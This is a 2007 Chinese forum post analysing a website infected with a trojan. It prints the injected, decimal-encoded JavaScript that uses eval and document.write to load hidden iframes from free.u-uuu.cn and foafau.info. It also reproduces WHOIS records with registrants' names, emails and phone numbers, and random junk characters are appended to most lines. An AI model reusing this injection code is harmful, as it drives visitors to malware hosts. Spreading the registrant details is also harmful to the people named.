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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, Z5'^81m$o  
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http://www.areway.cn/?p=175 mI7lv;oN<5  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: uaO.7QSwN  
          '! ^7 *@z  
<script>t=’60,105,102,114,97,109,101, 4,;*sc6*  
32,115,114,99,61,104,116,116,112,58,47,47, G{[w+ObX  
102,114,101,101,46,117,45,117,117,117,46,99, k( Sda>-  
110,47,101,114,114,111,114,46,104,116,109, xmnBG4,f  
32,119,105,100,116,104,61,49,48,48,32,104, <<01@Q <  
101,105,103,104,116,61,48,62,60,47,105,102, znE1t%V  
114,97,109,101,62′; *1EmK.-'u  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> _$R=F/88  
                                                                                                  >h8m)Q  
<script>t=’60,105,102,114,97,109,101,32,115, y!1X3X,V  
114,99,61,104,116,116,112,58,47,47,102,114, Jpduk&u  
101,101,46,117,45,117,117,117,46,99,110,47, b3%x&H<j  
101,114,114,111,114,46,104,116,109,32,119, ?L0;, \-t  
105,100,116,104,61,49,48,48,32,104,101,105, -u@ ^P7  
103,104,116,61,48,62,60,47,105,102,114,97, ,mz;$z6i  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 4wSZ'RTSR  
document.write(t);</script> Cdz?+hb  
                                                                                                  0 8)f  
<html xmlns=” CaZc{  
http://www.w3.org/1999/xhtml 1|{s8[;8  
“> nx%As  
<head> tF),Sn|*  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> "BT M,CB  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> RK.lz VaY  
<title>首页 - 爱生活家庭网 iz=cjmV?  
                                                                                                                                                    '/<\X{l8  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 "a2|WKpD  
转换字符串后的大概内容是(谁点击后果自付): 4vbGXb}!  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… lOcFF0'  
                                                                                                                                  8?82 p  
查询玉米u-uuu.cn的详细信息: HK :K~h  
Domain Name: u-uuu.cn fYPu%MN7  
ROID: 20070901s10001s64972306-cn %j^QK>%  
Domain Status: ok @K!JE w\  
Registrant Organization: 王雷 pG"wQ  
Registrant Name: 王雷 nT> v  
Administrative Email: czlovexs@126.com d2eXN3"  
Sponsoring Registrar: 北京万网志成科技有限公司 XB!qPh .  
Name Server:ns.yovole.com ;)h?P.]  
Name Server:ns1.yovole.com :!s7B|_U  
Registration Date: 2007-09-01 17:54 h F+aL  
Expiration Date: 2008-09-01 17:54 {v0r'+`  
最后PING了一下地址 都没有什么…. ]D;*2Lw4&  
                                                                                                d(|?gN^  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ,G0"T~  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> [KR%8[e  
<script language=”javascript” src=” B{=DnB6  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script SWw!s&lP&  
> f5F-h0HF`[  
这个玉米应该有可能是木马作者的: bz>\n"'  
foafau.info的详细信息: B0yJ9U= Fj  
Access to INFO WHOIS information is provided to assist persons in *eHa4I  
determining the contents of a domain name registration record in the w=fWW^>bP  
Afilias registry database. The data in this record is provided by <B>qE a_I  
Afilias Limited for informational purposes only, and Afilias does not >bWpj8Kv  
guarantee its accuracy.  This service is intended only for query-based FNUs .d"  
access. You agree that you will use this data only for lawful purposes 'GezIIaH  
and that, under no circumstances will you use this data to: (a) allow, Jd/d\P  
enable, or otherwise support the transmission by e-mail, telephone, or d,?D '/  
facsimile of mass unsolicited, commercial advertising or solicitations EeMKo  
to entities other than the data recipient’s own existing customers; or =7e!'cF[  
(b) enable high volume, automated, electronic processes that send Ze>R@rK  
queries or data to the systems of Registry Operator, a Registrar, or P Ptmh. }e  
Afilias except as reasonably necessary to register domain names or zwC ,,U  
modify existing registrations. All rights reserved. Afilias reserves 5{(4%  
the right to modify these terms at any time. By submitting this query, &S xF"pYV  
you agree to abide by this policy. Zq&'a_  
Domain ID:D22418703-LRMS fNi&r0/-t  
Domain Name:FOAFAU.INFO ,ASNa^7/>  
Created On:20-Nov-2007 16:05:42 UTC v76P?[  
Last Updated On:20-Nov-2007 16:05:44 UTC gw"SKp!]  
Expiration Date:20-Nov-2008 16:05:42 UTC w-JWMgY8w  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 47(_5PFb#  
Status:CLIENT DELETE PROHIBITED Y `8)`  
Status:CLIENT RENEW PROHIBITED jR}EBaI}  
Status:CLIENT TRANSFER PROHIBITED Psf'^42(v  
Status:CLIENT UPDATE PROHIBITED #W8F_/!n|  
Status:TRANSFER PROHIBITED c/88|k  
Registrant ID:GODA-040110615 JYj*.Q0  
Registrant Name:liu hong WYF8?1dt +  
Registrant Organization: FR6 W-L  
Registrant Street1:beijing ;+ C$EJw-  
Registrant Street2: GXm#\)  
Registrant Street3: (b~l.@xh  
Registrant City:beijing \},H\kK+^  
Registrant State/Province: -3yK>\y=|  
Registrant Postal Code:100000 BPv+gx(>k  
Registrant Country:CN Q&PWW#D  
Registrant Phone:+86.860108888777 jY\z+lW6A  
Registrant Phone Ext.: >{ {ds--  
Registrant FAX: Fc[vs52  
Registrant FAX Ext.: mCt/\  
Registrant Email:bbbshiji@163.com q}p$S2`  
Admin ID:GODA-240110615 `W}pA mhj  
Admin Name:liu hong ? ch?q~e)  
Admin Organization:  Ps.xY;Y  
Admin Street1:beijing FVkl# Qy~  
Admin Street2: 5uG^`H@X  
Admin Street3: ?@PSD\  
Admin City:beijing P9m  
Admin State/Province: |pZ7k#%  
Admin Postal Code:100000 ]8wm1_qV  
Admin Country:CN rAtCG1Vr  
Admin Phone:+86.860108888777 j]&Qai~}Y  
Admin Phone Ext.: GU`q^q@Ea  
Admin FAX: kwaZn~  
Admin FAX Ext.: 9=$ pV==  
Admin Email:bbbshiji@163.com Jc?zX8>Ae:  
Billing ID:GODA-340110615 sg-^ oy*^  
Billing Name:liu hong /-!Fr:Ox>  
Billing Organization: l8(9?!C  
Billing Street1:beijing #Tzs9Bkaca  
Billing Street2: ~Y f8,m  
Billing Street3: u9Adu`  
Billing City:beijing B&B4 P  
Billing State/Province: h-Y>>l>PW0  
Billing Postal Code:100000 Tv'1IE  
Billing Country:CN ]:@{tX 7c  
Billing Phone:+86.860108888777 6X9$T11Vc  
Billing Phone Ext.: An#[ +?  
Billing FAX: Y?1T XsvF  
Billing FAX Ext.: ZzBaYoNy[0  
Billing Email:bbbshiji@163.com Y*pXbztP  
Tech ID:GODA-140110615 !BW!!/U  
Tech Name:liu hong b=BNbmX  
Tech Organization: HOu$14g  
Tech Street1:beijing h #gI1(uL  
Tech Street2: $-]G6r  
Tech Street3: .9Oj+:n  
Tech City:beijing CR.d3!&28  
Tech State/Province: ^L.I9a#]  
Tech Postal Code:100000 %JPr 7 }  
Tech Country:CN 03)irq%l;  
Tech Phone:+86.860108888777 rD$5]%Y  
Tech Phone Ext.: kuBtPZ  
Tech FAX: IAkQR0fcN  
Tech FAX Ext.: 0TV16 --  
Tech Email:bbbshiji@163.com TD floDxA  
Name Server:NS27.DOMAINCONTROL.COM `qd5+~c  
Name Server:NS28.DOMAINCONTROL.COM 9$U>St  
Name Server: .<%q9Jy#  
Name Server: 7hx^U90K  
Name Server: F$4=7Njv  
Name Server: ^m D$#  
Name Server: FZU1WBNL%t  
Name Server: #O~pf[[L  
Name Server: yn+m,K/  
Name Server: gktlwiCZ  
Name Server: X ]&`"Z]  
Name Server: 82r{V:NCK)  
Name Server: g qORE/[  
                                                                                                          dHOH]x  
接着下载每个文件里面的代码: o$->|k  
一步一步看.. a}` M[%d7  
4e\wC  
fA?Wf[`x  
4MDVR/Z7  
'HfI~wN  
[7x;H  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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